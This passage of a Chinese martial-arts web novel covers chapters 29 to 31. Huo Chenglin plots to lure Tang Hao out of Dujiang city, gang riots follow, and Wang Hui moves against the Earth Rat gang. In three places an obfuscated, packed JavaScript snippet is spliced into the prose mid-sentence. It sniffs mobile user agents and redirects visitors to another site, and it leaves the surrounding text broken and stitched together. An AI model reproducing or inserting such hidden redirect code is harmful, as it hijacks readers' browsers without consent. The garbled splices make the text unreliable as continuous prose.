“所以,”霍成林眼中寒光一闪,“不论是为了最终对付唐浩,还是为了报复王辉今日的猖狂和不识好歹,我们都必须抢先一步,把唐浩的这把刀给彻底砍断!剁碎!” 岳天波深以为然地点点头,随即又皱眉道:“大人所言极是。可现在问题的关键就在于,只要唐浩本人还坐镇在都江城,我们就很难找到机会对王辉下手。唐浩绝不会坐视我们动他的人。” 霍成林脸上露出一抹老谋深算的冷笑,轻声道:“所以,问题的核心,就在于如何让唐浩……暂时离开都江城。” 岳天波眯了眯眼睛,疑惑道:“大人,您的意思是设计调虎离山? 可如今这个节骨眼上,唐浩正风风火火地准备着对清水帮出手,这是他筹划了数年的大事,他怎么可能在这个时候轻易离开都江城?” 霍成林嘴角勾起一抹诡异的弧度,声音压得更低:“可如果……清水帮的高层,自己先离开都江城了呢?” 岳天波闻言一愣,诧异道:“大人此话何意?清水帮高层为何要离开?他们又能去哪?” 霍成林缓缓解释道,如同一个耐心的猎手在布置陷阱:“唐浩要对付清水帮,他的目的也并非是真要将清水帮上下近万帮众赶尽杀绝,那根本不现实,朝廷也不会允许。 他真正想要的,是打掉清水帮的核心高层,斩断清水帮与府衙、与各级官员之间的联系纽带。” “毕竟,在南城地界上,清水帮势力根深蒂固,甚至可以和他这个锦衣卫百户分庭抗礼。 唐浩想要实施任何政策,推行任何命令,都没办法完全绕开清水帮。这就是他一心要拔掉清水帮这颗钉子的根本原因。” “而他若要动手,自然首要目标就是清水帮的高层骨干。可如果现在,清水帮的高层骨干们,非常‘明智’地选择暂避锋芒,直接离开都江城去外面避避风头呢?” 霍成林看着岳天波,眼中闪烁着算计的光芒:“时间,是站在我们这边的。 只要时间一久,唐浩手里掌握的那些所谓证据,就会慢慢变成一堆废纸!你要知道,府衙中与清水帮有利益纠葛的官员太多了,只要给他们足够的时间运作,他们就有的是办法将清水帮高层留下的那些痕迹、首尾,抹除得干干净净!” “唐浩不是傻子,他自然明白这个道理。”霍成林笃定道,“所以,为了不让煮熟的鸭子飞了,为了能够成功打掉清水帮,他一定会追出去的!我们可以‘不小心’给他留下点清晰的‘线索’,引他追出去!” 岳天波眼睛一亮,但随即又想到什么,担忧道:“大人此计甚妙! 可是……唐浩心思缜密,谋略过人,他未必会轻易上当。就算他追出去,也肯定不会离开太远太久,时间稍微一长,他必然就能反应过来其中有诈。 到时候,他肯定会调转刀锋,杀回都江城。届时,即便他暂时奈何不了已经躲起来的高层,也一定会对清水帮的中层干部和产业进行疯狂报复和清洗! 即便最终没办法彻底毁掉清水帮,也绝对能让清水帮元气大伤,损失惨重。从结果上来看,他也不算完全失败。” “哼,他也得有那个机会才行!”霍成林冷笑一声,笑容中带着一丝残忍,“只要唐浩被骗离都江城,我们的机会就来了!” 霍成林的语气变得斩钉截铁:“他前脚刚走,我们后脚就立刻对南城百户所动手!以千户所的名义,直接介入南城百户所的事务,趁其群龙无首,以雷霆万钧之势,在最短的时间内,将唐浩这几年苦心经营、安插进去的势力连根拔起,彻底清洗干净! 同时,让清水帮早已准备好的大量精锐帮众,直接出城,沿着我们‘提供’的路线,去围杀落单的唐浩!” 霍成林的眼中闪烁着兴奋和狠厉的光芒: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513481|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “离开了都江城,失去了百户所的力量支撑,唐浩就会再一次陷入三年前那种孤立无援的境地! 府衙方面绝不会给他任何援助,他带去的人手也必然有限。面对清水帮倾巢而出的精锐围杀,就算他是先天高手,也必然双拳难敌四手,就算不死,也定要让他脱层皮,元气大伤!” “而与此同时,我们在城内!”霍成林用力一挥手,做了一个斩草除根的动作。 “我亲自坐镇,将他的南城百户所势力连根拔起,把他这三年来所有的谋划、所有的心血,直接化为乌有!让他就算侥幸活着回来,面对的也是一个彻底烂掉、再也无法掌控的摊子!让他彻底沦为孤家寡人!” 岳天波听到这里,终于完全明白了整个计划的狠毒与周密,脸上露出恍然和钦佩的神色,激动道:“大人英明啊!此计一环扣一环,堪称绝妙!唐浩不是仗着他现在背后有王辉这把锋利的刀吗?我们就直接釜底抽薪,连他的刀带刀鞘,一并给他处理得干干净净!让他往后在都江城,就真成一个光杆司令,寸步难行!” 霍成林点了点头,对于岳天波的奉承颇为受用,但依旧保持着冷静,叮嘱道:“不过,唐浩此人心机深沉,谋略过人,警惕性极高。为了防止他察觉这是个陷阱,我们必须下足鱼饵,要让他觉得有利可图,值得冒险追击。得让清水帮那边,付出一点‘真实’的代价才行。” 岳天波脸上露出了然的笑容,说道:“大人放心,欲要使人灭亡,必先使其膨胀。这个道理,清水帮帮主是个聪明人,更是个果断狠辣的角色。他会明白自己现在的处境,想要保住清水帮的根基,暂时的牺牲是必要的。他必然会同意我们的计划,并且会配合演好这出戏。” 今年的都江城,注定无法过一个安稳的冬天。 凛冬的寒意不仅冻结了土地,更仿佛冻结了人心中的某些东西。一种山雨欲来风满楼的压抑感,笼罩在全城上空,而这种不太平,尤其集中在都江城的南城。 锦衣卫南城百户所,在百户唐浩的亲自带领下,经过多日不分昼夜的严密调查和高强度行动,对外宣称已然掌握了大量关于清水帮高层骨干犯罪的铁证。 一时间,锦衣卫缇骑四出,气氛肃杀。 百户唐浩更是多次亲自带人,缉拿罪犯归案,雷厉风行,毫不留情。 整个都江城,都陷入一种风声鹤唳、草木皆兵的紧张氛围之中。各大帮派都变得异常警惕,即便是那些地盘不在南城的帮派,也都时刻紧张地关注着这场突如其来的巨大风波。 因为这场由锦衣卫掀起的风波,实在来得太猛,太大了! 短短半个月的时间里,雄踞南城多年的霸主清水帮,接连被扫荡了五六个重要堂口,两位手握实权、名声在外的舵主,也被锦衣卫公然锁拿,投入诏狱之中。底层帮众更是被抓了不下百人。 这一场锦衣卫的凌厉行动,真可谓是闹得满城风雨,人心惶惶。 而更让人感到诡异的是,面对如此局势,府衙方面的官员们,却集体陷入了沉默,三缄其口。就连那些众所周知与清水帮往来密切、有着千丝万缕联系的府衙高官们,也都纷纷选择了闭门谢客,噤若寒蝉,似乎生怕一不小心,就引火烧身。 这种诡异的沉默,让很多人都产生了一种强烈的预感—— 雄踞南城多年的清水帮,这次恐怕真的要难逃此劫了! 能够让府衙那些背景深厚的老爷们都选择沉默,足以说明,百户唐浩手里掌握的,恐怕不仅仅是清水帮的犯罪证据,必然还握着不少府衙高官们的致命把柄! 一旦失去了官府的暗中庇护和支撑,清水帮即便再强,也终究只是一个江湖帮派。 若是对上一般的锦衣卫百户所,凭借其深厚的底蕴和强悍的实力,或许还能周旋甚至压制。 但现在,对清水帮动手的,是都江城二把手百户唐浩! 唐浩虽然也只是百户,可江湖上乃至官府中,谁不知道他另一个响当当的外号——九百户!其权势和能量,远非普通百户可比! 30. 杀机现 新春佳节本应带来的喜庆与祥和,仿佛与都江城南城百户所彻底隔绝。这里非但没有一丝一毫的节日氛围,反而从上到下都弥漫着一股风风火火、枕戈待旦的肃杀之气。 从清晨到深夜,百户所的大门几乎从未真正安静过。身着飞鱼服、腰佩绣春刀的锦衣卫们进进出出,步履匆匆,脸上看不到半分佳节应有的轻松,唯有凝重的肃杀和难以掩饰的疲惫。命令的呼喝声、战马的嘶鸣声、刑具碰撞的金属声,以及偶尔从深处牢房传来的隐约惨叫声,交织成一曲冰冷而压抑的乐章。 尤其是百户所后方的诏狱,这段时间更是人满为患,几乎到了挤不下的地步。每天都会有新的囚犯被凶神恶煞的缇骑拖拽进来,丢进早已拥挤不堪的牢房。 同时,也几乎每天都会有一批被审讯得伤痕累累、奄奄一息的犯人,像破麻袋一样被提出来,转押往府衙那更深、更黑暗的地牢中去。 空气中似乎永远飘浮着一股淡淡的血腥味和牢狱特有的霉味,挥之不去。 整个百户所,即便是在白日里,也仿佛被一层无形的阴霾笼罩着,阴气森森,令人望而生畏。 而在这段时间里,沉寂、颓靡了多年的锦衣卫鹰犬之名,再度于都江城的江湖之中,掀起了腥风血雨,重现了昔日的凶戾威名。 这已经是多少年未曾有过的“盛况”了? 老辈人依稀还记得,当年的“锦衣卫”三个字,是何等的令人闻风丧胆,足以达到“夜止小儿啼哭”的效果。曾几何时,缇骑一出,江湖色变。 然而,近些年来,尤其是在千户霍成林的“安稳”治理下,锦衣卫在江湖人心中的形象早已一落千丈,甚至快成了一个笑话。 很多人提及锦衣卫,第一反应不再是恐惧,而是“欺软怕硬”、“专捏软柿子”、“官老爷的看门狗”。 然而,这一次,由百户唐浩主导、那位凶名赫赫的“小杀神”王辉充当急先锋的凌厉行动,以雷霆万钧之势,狠狠地撕碎了这幅虚假的宁静画面。 冰冷的铁链、雪亮的钢刀、精准而残酷的打击……让许多在温柔乡里待久了的江湖人,再一次从骨子里回忆起了当年那种被锦衣卫缇骑支配的恐惧!那是一种源自权力和暴力最直接结合的、令人窒息的恐惧! 与此相应的是,百户所内的锦衣卫们,这段时间出行时,腰杆都不自觉地挺直了许多,眉宇间那份久违的锐气和自信正在慢慢回归。甚至私下里,还有人在开玩笑,调侃道:“现在才知道,废物的不是咱们锦衣卫,而是以前领导咱们的那些人!” 南城百户所,东院。 一队来自总院的锦衣卫步履匆匆地走了进来。领头的是一位小旗官,他的态度出乎意料地谦逊恭敬,见到东院的任何人都会微微点头示意,完全没有以往总院之人那种隐隐高人一等的姿态。 对于这种变化,东院的锦衣卫们似乎都早已习以为常,并未觉得有什么不对。 因为所有人都心知肚明,总院这些人谦逊的对象,并非东院本身,而是东院里那位如今权势滔天、凶名在外的年轻总旗——王辉! 这位爷,如今是公认的南城百户所二把手。这是百户唐浩多次在公开场合,当着所有总旗、小旗的面亲口宣布的:“本官若不在百户所,一应大小事务,皆由王总旗决断!” 唐浩的信任和放权,加上王辉自身那杀出来的赫赫凶名,使得他在百户所的威望,仅在唐浩一人之下。 东院,案房内。 王辉正翻阅着近日的行动卷宗,总院那位小旗官恭敬地站在下方等候。 片刻后,王辉合上卷宗,淡淡道:“带路吧。” “是,王总旗请。”小旗官连忙躬身引路。 不多时,王辉便来到了总院议事大厅。 此时,大厅内已经黑压压地汇聚了数十人。这些人无一不是百户所内的精英骨干,其中还有不少是这段时间从都江城下辖各个县城紧急抽调而来的精锐旗官,个个气息精悍,眼神锐利。 王辉甚至还看到了几个熟悉的面孔——那是唐浩重金招揽的门客。 这几人并未加入锦衣卫体系,但都是真正的江湖好手,修为赫然均已达上三品之境! 对于这些高手为何不入锦衣卫,王辉最初还有些疑惑,后来经唐浩一解释便明白了。唐浩当时笑道:“每个人的能力和性格都不一样。有的人适合在官场博弈,有的人适合统领团队,但更多的人其实并不适合。这些朋友修为高深,让他们从底层校尉做起自然不合适,但授予过高官职又于制不合,且他们也未必擅长。所以,跟在我身边做个门客,关键时刻能出手相助,反而是最合适的安排。” 此时, 偌大的议事厅内,气氛低沉压抑得可怕,落针可闻。一股山雨欲来的紧张感弥漫在空气中,所有人都屏息凝神。 王辉一进门就感受到这股不同寻常的气氛,立刻意识到——这是要有大行动了! 果不其然,他刚踏入大厅,早已等候在此的唐浩就风风火火地大步迎了上来,脸色凝重无比,语速极快地说道: “王兄弟,你来了!刚刚收到最紧急的线报,清水帮帮主吴磊,带着副帮主、几个长老以及一众核心高层,总共十余人,已于昨夜子时左右,连夜秘密逃出都江城,看样子是想暂时避开我们的锋芒,出去避风头了!” 唐浩眼中闪烁着锐利的光芒,继续道:“我必须马上带精锐人手出城去拦截他们!绝不能让他们逃了,否则后患无穷!叫你来,一是跟你通报此事,二是我离开之后,百户所就全权交给你打理了!” 他用力拍了拍王辉的肩膀,语气无比郑重:“你的任务很重!一要随时做好准备,一旦收到我的信号,立刻带人出城驰援;二要严防死守,警惕有人趁我离开,城内力量空虚之际,对咱们百户所进行清洗和反扑!如今这百户所里,能够担起如此重任的,唯有你王辉了!” 王辉闻言,心中瞬间闪过一念——他其实更想跟着唐浩一起出城砍人。那才是积累经验值的快车道。 但他心里更清楚,这是不现实的,甚至是一种奢望。 唐浩之所以在他刚冒头时就如此不计成本地提拔、信任他,看中的就是他这份能打能杀、能镇住场面的能力。而这份能力,最重要的应用场景,就是为了应对眼下这种情况——在他唐浩必须离开时,需要一个绝对可靠且足够强悍的人,来替他守住大本营! 稳住后方,与前线冲杀同等重要,甚至更为关键。这就是唐浩赋予他的核心使命。 “大人放心!”王辉压下心中的杂念,脸色肃然,郑重拱手道:“只要王辉还有一口气在,必保百户所无恙!祝大人此行旗开得胜,马到成功!” 唐浩看到王辉眼中那不容置疑的坚定和自信,脸上露出了欣慰的笑容,再次用力拍了拍他的肩膀,道:“好!有你在,我自然是一万个放心!也唯有交给你,我才能没有后顾之忧!等着我的好消息,待我凯旋,咱们兄弟不醉不归!” 随后,唐浩又迅速且低声地向王辉交代了几项需要注意的关键事项和几个需要重点盯防的人物,便猛地一挥手,厉声喝道:“我们走!” 厅内早已准备就绪的数十名精锐,包括那几位三品修为的门客,同时抱拳领命,动作整齐划一,杀气腾腾地跟着唐浩涌出大厅。 马蹄声骤起,如同急促的战鼓,迅速远去。 王肃站在百户所的大门口,负手而立,目光幽深地注视着唐浩一行人消失在长街的尽头,风雪很快模糊了他们的背影。 直到再也听不见任何马蹄声,他才缓缓转身,面无表情地走回院内。 陈飞亦步亦趋地跟在他身边,低声说道:“希望唐百户……哦不,唐百户此次能够一举功成,旗开得胜! 若是这次能成功将清水帮高层一网打尽,那接下来整顿南城□□势力,可就轻松多了。 凭着这份大功,再加上唐百户在京城的背景,说不定还真能让霍成林那个老东西提前‘告老还乡’。” 陈飞语气中带着一丝兴奋,继续道:“到时候,大人您恐怕就真要成为咱们都江城,乃至整个云州地界有史以来最年轻的锦衣卫百户了!” 唐浩对王辉做出这个承诺时,陈飞就在一旁伺候,是知情人。而他作为王辉一手提拔起来的头号心腹,自然是比任何人都希望王辉能够平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马总旗,名叫马三,是百户所里如今除了王辉之外,唯一留守的一位总旗。此人修为不弱,已达四品境,是唐浩的心腹老人之一,行事沉稳可靠。唐浩特意将他留下,就是为了辅助王辉,共同镇守百户所。 “是,大人!属下这就去!”陈飞见王辉如此重视,也不敢怠慢,立刻领命而去。 …… 春节过后的都江城,天气并未如人们期盼的那样回暖。屋檐上依旧悬挂着长短不一的冰棱,在昏暗的天光下闪烁着寒芒。偶尔吹来的寒风,依旧冰冷刺骨,仿佛要带走人身上最后一点暖意。 翌日,清晨。 天色刚蒙蒙亮,外面的寒风呼啸得更加凄厉凶猛了。等到天色稍亮一些时,昏暗的天空竟然又一次飘起了鹅毛大雪,而且雪势越来越大,很快就将整个世界都染成一片惨白。 “砰砰砰!砰砰砰!” 突然,一阵极其急促而响亮的敲门声,伴随着风雪呼啸,猛地将王辉从睡梦中惊醒。 “大人,大人!不好了!出大事了!” 门外传来的是陈飞那熟悉的声音,但此刻这声音却充满了前所未有的焦急和惊慌。 王辉瞬间睡意全无,眼中闪过一丝厉色,当即翻身起床,一把拉开房门,沉声问道:“发生了什么事?慌什么!” 陈飞站在门外,身上落满了雪花,脸色冻得有些发青,但更明显的是那满眼的惊惶,他急声道:“大人,外面……外面出大事了! 也不知道到底是怎么回事,从昨天后半夜开始,城里突然出现了大规模的□□械斗事件,波及了好几条街! 就昨天一晚上到现在,初步统计,就已经出现了几十人的死伤!现在外面彻底乱套了!” 王辉眉头瞬间紧锁,眼中寒光一闪,第一时间抓住了最关键的问题:“清水帮有参与吗?” 陈飞急忙摇头,喘着气说道:“怪就怪在这里!根据我们目前掌握的情况,这次大规模械斗,清水帮的人竟然完全没有参与! 但是,南城除了清水帮这个一流帮派之外,其他所有排得上号的二三流帮派,几乎有点名号的,全都像疯了一样卷进去了!打得不死不休!” 31. 地鼠帮的自负,王辉的杀机 王辉的眉头骤然锁紧,如同刀锋刻出的深痕,沉声道:“仅仅只是帮派之间的械斗?你确认没有无辜百姓被卷入其中?” 陈飞躬身回应,语气十分肯定:“回大人,综合我们目前收到的所有线报来看,冲突都严格局限在各帮派分子之间。 暂未接到有普通商户或居民受到直接冲击或伤害的报告。他们似乎……有所顾忌,并未越界。” 王辉闻言,指节分明的手指在冰冷的桌面上有节奏地敲击着,略微沉吟后道:“既然尚未波及平民……那便先派一队人马,去查明冲突的具体缘由和波及范围。以百户所的名义发出警告,弹压为主,勒令他们即刻解散,各回各家。若是识相……” 王辉的指令尚未完全下达,院外便陡然传来一阵沉重而杂乱的脚步声,伴随着金属甲叶急促碰撞的清脆声响,迅速由远及近,打破了清晨的宁静。 只见总旗马三神色惊惶,额头上布满细密的汗珠,甚至来不及拍打飞鱼服上沾染的雪花,便急匆匆地闯了进来。他一眼看到陈飞也在场,不由得愣了一下,脱口道:“陈大人?你……你也收到风声了?” 陈飞点了点头,道:“马大人所说的,可是昨夜南城多处爆发帮派械斗之事?我正欲向顾大人禀报。” 马三急得连连摆手,语气焦灼万分:“不是那件事!昨夜的火并,我在今早天刚蒙蒙亮时就已收到风声,并第一时间派了几队弟兄前去处置了。当时想着毕竟只是江湖帮派之间的私怨仇杀,既然未曾扰民,事情便不算十万火急,不敢因此惊扰王大人休息。 可……可是今天早上,天彻底亮之后,又出了天大的乱子!局面已经完全失控了! 我……我这点微末本事根本镇不住场子了,万般无奈,只能立刻来请王大人亲自出面主持大局!” 王辉目光骤然锐利如电,身体微微前倾,追问道:“又出了何事?仔细报来!” 马三重重地吸了一口冰冷的空气,仿佛要借此压下心中的惊涛骇浪,语速极快却又清晰地回禀道:“大人,南城那些大大小小的帮派,就像是约好了一起发疯! 昨夜接连数场大火并已是骇人听闻,我带着弟兄们疲于奔命,好不容易才稍稍压制下去。可谁能料到!今天一大清早,情况非但没有平息,反而变本加厉,彻底失控!” 马三的声音因激动和一丝恐惧而微微发颤:“如今,光天化日,朗朗乾坤!竟有数個帮派胆大包天,在闹市主要街道上公然持械火并,刀光剑影,毫不避人! 这还不算,他们还煽动、组织起大批的地痞、流氓、无赖混混,成群结队地在各条街道上横冲直撞,嘶吼叫嚣,肆意寻衅滋事,冲击店铺!” “不过一两个时辰!”马三伸出手指,因为激动而微微颤抖,“到目前为止,我们接到的报案就已经堆积如山,应接不暇!初步统计,至少有超过四十家酒楼、茶肆被砸!遭殃的各类商铺更是超过一百家!门窗破碎,货物被抢被毁,损失惨重!前来报案的百姓更是络绎不绝,多人声称在街上被公然拦住抢劫!银钱、首饰被抢夺一空!” 马三越说越是激动,脸色发白:“更可恶的是,那些经营米面、粮油、肉铺等民生必需品的铺子,遭到了有组织的、大规模的强买强卖!价格被压得极低,与明抢无异!城内扒手、窃案的发案率更是疯狂飙升,几乎是往日的十数倍!我们留守的这点人手,就算是三头六臂也根本不够用!彻底乱了。 王大人!一夜之间,整个南城的秩序就彻底崩塌了,全乱套了!百姓人心惶惶,商户不敢开门,这……这简直是无法无天!” 马三说罢,用袖子擦了擦额头的冷汗,向着王辉深深一揖到底,脸上充满了无力与恳求:“王大人,您如今代掌百户所,肩负重任,日夜操劳,本不该因为这些治安纠纷来叨扰您。可眼下这情况……已经完全超出了卑职的能力极限。这绝非寻常骚乱,背后定然有人操纵! 卑职……卑职实在是束手无策了,万望大人亲自出马,稳定局面,否则后果不堪设想!” 王辉的面色瞬间阴沉得能滴出水来,瞳孔微微收缩,眼中闪烁着冰冷彻骨的寒光,周身的气息都仿佛骤然下降了几度。 “大人,”陈飞在一旁立刻开口,语气充满了高度的警惕和担忧,“这绝不可能是什么巧合!唐百户昨天才刚带领所内大半精锐离城,去追剿清水帮余孽,今天城里就出了这么大的乱子,而且是多点开花、一夜之间全面爆发!这背后必然有一只黑手在统一推动、操纵!这是冲着我们来的!” “哼,”王辉从鼻腔里发出一声冰寒刺骨的冷哼,说道:“这是秃子头上的虱子——明摆着的事!若非有人在背后统一策划指挥,就凭南城这些互有宿怨、各自为政、一盘散沙的帮派,怎么可能如此步调一致,同时发难,还‘配合’得如此‘默契’?简直是天方夜谭!” 马三闻言,急忙追问道:“那……以王大人您高见,这背后搅风搅雨的,会是谁?” “这还用问吗?”王辉冷笑一声,语气斩钉截铁,带着不容置疑的判断:“咱们南城百户所如今大刀阔斧改革,触动了不少人的利益,可谓是四面皆敌,盼着我们倒台、看我们笑话的人能从城南排到城北!但是,能有这份能量、这份胆魄,并且能在如此短时间内精准地搅动整个南城地下世界,让这么多牛鬼蛇神同时蹦出来作乱的,无非就是两股势力——要么是清水帮背后那盘根错节的关系网死而不僵,要么,就是直接来自我们头顶的,千户所!” 他略微停顿,给出了更精确的判断:“而清水帮背后的势力虽然复杂,牵扯到府衙、商界乃至军中某些人物,但正因如此,他们派系林立,反而很难在唐百户刚刚离开的极短时间内统一意见并迅速做出如此大规模的反应。 而且,他们之前也不敢轻易谋划,因为唐百户在时,目光如炬,洞察力极强,他们在南城搞任何小动作,都很难逃过他的眼睛。” “所以,”王辉的目光变得如同鹰隼般锐利,仿佛能穿透一切迷雾,“唯一的可能,就是千户所!只有霍成林的千户所,才有这份能量、动机和胆子!这些江湖帮派,但凡是能在南城这块肥肉上立足分一杯羹的,背后多多少少都与我们锦衣卫体系内的某些人有着千丝万缕的联系,需要打点孝敬。 而也只有千户所这块高高在上的金字招牌,才能在唐百户离开后的短短一夜之间,威逼利诱,双管齐下,指挥得动这么多贪婪又惜命的江湖帮派同时作乱!” 马三皱着眉头,还是有些不解,道:“那……千户所这么做的意义究竟是什么?把事情搞得天翻地覆,对他们有什么好处?难道就不怕玩火自焚,最后无法收场吗?” 王辉眼中寒光更盛,道:“意义?现在或许还看不完全清楚,但这无非是调虎离山、声东击西、或者干脆就是疲兵之计,想让我们自乱阵脚,无法支援唐百户,甚至趁机把我们南城百户所彻底搞臭、搞垮!至于他们最终的目的……狐狸尾巴总会露出来的。 当务之急,不是在这里空猜他们的全盘计划,而是先把这个烂摊子以最快速度处理掉,稳住我们的基本盘,守住百户所!不能让他们的奸计得逞!” 马三脸上露出极大的难色,拱手道:“王大人,道理卑职明白,可是……怕是不太好处理啊……太乱了,城中参与的帮派太多了,三教九流,鱼龙混杂。我们百户所经过唐百户多次抽调精锐,现在留守的就这点人手,还要分守各处要点,捉襟见肘啊!就算我们不吃不喝,不眠不休,一个帮派一个帮派地去抓人去弹压,也不知道要抓到猴年马月去了!根本是杯水车薪,解决不了眼前的危机!” 王辉猛地一摆手,打断了他的诉苦,语气果断而冷酷,带着一股不容置疑的杀伐之气:“谁告诉你我们要像没头苍蝇一样,一個一個去抓了?哪需要那么麻烦!马总旗,你现在立刻告诉我,目前南城哪个地方闹得最凶、最狠、影响最恶劣?” 马三闻言,不敢怠慢,立刻低头凝神,迅速在脑中过滤着下面弟兄们拼命传回的一条条混乱信息。片刻后,他抬起头,十分肯定地说道:“据各方消息汇总,南城各大坊市街道现在都乱得像一锅煮沸的粥。 但是,要说事情闹得最大、性质最恶劣、伤亡最惨重、影响最坏的,还得是南屏街一带!那里已经发生了不止一起恶性流血事件,动用了刀斧,死伤不少,甚至可能已经出了好几条人命……” 王辉直接打断他,问出了最关键的问题:“南屏街一带,是哪个帮派的核心地盘?谁是那里的地头蛇?谁在主导那边的混乱?” “地鼠帮!”马三毫不犹豫地回答道,语气十分肯定:“南屏街及其周边那几条最繁华的巷道,一直都是地鼠帮经营了多年的核心地盘,针插不进,水泼不入。他们主要做两种生意:一个是倒卖冥货(殡葬用品),垄断了近乎八成的市场;另一个就是训练扒手、控制窃贼,几乎城内六成的扒窃案子都和他们有关。 今天早上那边最严重的十几起恶性伤人事件,据查,基本都和他们地鼠帮脱不了干系!有好几个百姓只是发现被扒窃时出声呵斥或稍有反抗,那些地鼠帮的扒手竟然直接亮出刀子,当街行凶,抢劫伤人!有好几个伤者被抬走时血流如注,恐怕……已是凶多吉少!” “当街动刀,抢劫杀人?很好,就是他了!” 王辉眯了眯眼睛,浓烈的杀意瞬间弥漫开来,仿佛让房间里的温度都下降了几分。他朗声下令,声音如同金铁交鸣:“马总旗!” “卑职在!” “你现在立刻去集合百户所所有还能动弹的锦衣卫!有一个算一个,全部到校场集合! 缺席者以叛逃论处!把家伙什都给我带齐了!绣春刀、□□、箭矢、锁链、铁尺、盾牌,一样都不能少!告诉他们,准备见血!” “是!卑职遵命!”马三感受到王辉身上那股几乎凝成实质的冰冷杀意,只觉得头皮发麻,却又血液隐隐沸腾,立刻拱手领命,转身快步冲出院落,大声呼喝着前去安排。 陈飞在一旁若有所思,试探着询问道:“大人是打算……擒贼先擒王,杀鸡儆猴?” 王辉点了点头,嘴角勾起一抹残酷而冰冷的弧度,道:“乱世需用重典,沉症需下猛药!既然有人嫌日子太平静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513483|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非要把这潭水搅浑,那我们就干脆利落点,直接把跳得最欢、叫得最响的那只癞蛤蟆捞出来,当众剁碎了喂狗!我倒要看看,剩下的那些臭鱼烂虾,还有没有胆子继续扑腾!” 陈飞立刻心领神会,补充道:“那这地鼠帮确实是最合适的目标。 它在都江城的帮派里,算是二流中的头部,虽然比不上清水帮那种根基深厚的顶级大帮,但名声恶劣,势力不小,几乎垄断了都江城大半的冥货生意,手底下控制的扒手、窃贼、流氓数量众多,是南城一大毒瘤。” “地鼠帮的帮主叫陶永春,江湖外号‘钻地鼠’,据说是个实打实的三品武者。真刀真枪拼杀的战绩不多,为人狡猾谨慎,但有一身极其高明的轻功和藏匿遁逃的本事,在江湖上颇有名气,‘钻地鼠’的名头就是这么来的。传闻他早年是干倒斗(盗墓)营生的,是这方面的老手,后来年纪大了,想要安定下来,便金盆洗手,来到这都江城创建了地鼠帮,利用以前的人脉和手段迅速站稳了脚跟。” 王辉闻言,轻蔑地笑了一下,说道:“钻地鼠?哼,老鼠这种东西,天生就该老老实实躲在阴暗潮湿的地洞里,见不得光。既然他自己不长眼,敢跑到光天化日之下兴风作浪,那就要做好被一脚踩得稀烂的准备!” …… 南屏街,在都江城中名气颇大,是城南区域最富庶繁华的商业街区之一。这里街道宽阔,四通八达,横竖交错着无数售卖各类商品的巷道和小市,平日里车水马龙,商铺林立,人声鼎沸,极为热闹。 然而今日的南屏街,却是一片狼藉和恐慌。随处可见被砸烂的店铺门窗,破碎的瓷器、布匹、杂物散落一地。街道上行人稀疏,且大多行色匆匆,面带惊惶。取而代之的是三五成群、眼神不善的地痞流氓公然晃荡,大声叫嚣,偶尔还能看到两伙人因为争抢地盘或别的什么原因突然爆发冲突,当街械斗,引来一片惊呼和躲避。扒手更是异常猖獗,几乎到了明目张胆的地步。 在南屏街最中心、最黄金的地段,坐落着一间门面颇大、装修得古色古香的店铺,黑底金字的招牌上写着“地鼠轩”。这店铺明面上做着古玩字画的生意,实则是地鼠帮经营的重要据点乃至老巢之一。 此时,在地鼠轩三楼一间装饰奢华、隔音极好的隐秘茶室里,一个头发灰白、身材干瘦矮小、穿着一身锦缎棉袍的老者,正慢悠悠地品着香茗。他手里熟练地把玩着一串油光锃亮、价值不菲的紫檀木佛珠,脸上神情怡然自得,微眯着眼睛,仿佛窗外街道上发生的一切混乱和恐慌都与他毫无关系,只是一场值得欣赏的热闹。 此人,正是地鼠帮帮主,“钻地鼠”陶永春。 “吱呀”一声,茶室的门被轻轻推开。一个穿着锦缎棉袍、作掌柜打扮的中年男人快步走了进来,反手小心地关好门,脸上带着一丝难以掩饰的慌张。 “帮主,”掌柜的压低声音,拱手行礼,急声道:“刚刚安排在街口的几个机灵小子拼命跑回来报信!南城百户所那边有大队人马出动!动静极大!那位凶名赫赫的‘小杀神’王辉,亲自披挂,带着几十号杀气腾腾的锦衣卫,正朝着咱们南屏街这边直扑过来了!看那架势,分明就是直奔咱们地鼠轩来的!” 陶永春缓缓睁开眼睛,一双小眼睛里先是闪过一丝诧异,随即迅速化为阴冷的笑意,慢条斯理地说道:“哦?居然第一个就盯上我地鼠帮了?呵呵,这姓王的黄口小儿,倒真是够胆色,也够直接。” 那掌柜的担忧道:“怕是……怕是底下的兄弟们今天早上下手都没个轻重,闹出了好几桩见血甚至出人命的案子,把事情搞得太大了,把这尊煞神给彻底惹毛了,这才……” 